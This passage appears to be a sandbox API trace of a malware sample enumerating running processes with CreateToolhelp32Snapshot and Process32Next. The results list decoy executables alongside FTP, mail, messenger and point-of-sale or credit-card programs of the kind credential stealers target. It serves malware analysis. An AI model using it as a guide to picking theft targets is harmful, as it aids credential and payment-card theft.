th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0253.083] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0253.085] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0253.086] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0253.088] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0253.090] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0253.091] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0253.093] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0253.095] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0253.097] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0253.099] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0253.100] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0253.102] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0253.104] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0253.106] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0253.107] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0253.109] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0253.111] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0253.113] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0253.115] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0253.118] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0253.120] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0253.122] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0253.124] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0253.126] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0253.129] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0253.131] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0253.133] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0253.135] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0253.137] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0253.140] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0253.142] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0253.144] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0253.146] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0253.150] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0253.153] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0253.156] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0253.159] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0253.162] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0253.165] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0253.168] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0253.172] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0253.175] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0253.177] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0253.182] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0253.184] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0253.235] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0253.239] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0253.242] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0253.245] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0253.248] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0253.252] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0253.256] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0253.259] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0253.261] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0253.264] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0253.267] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0253.269] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0253.272] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0253.275] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0253.277] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0253.281] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0253.308] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0253.311] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0253.313] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0253.316] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0253.318] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.321] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0253.324] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0253.326] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0253.328] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0253.331] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0253.333] CloseHandle (hObject=0x2198) returned 1 [0253.333] Sleep (dwMilliseconds=0x64) [0253.479] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0253.497] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.499] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.504] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.507] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.509] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.512] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.514] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.595] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.598] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.600] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.603] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.605] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 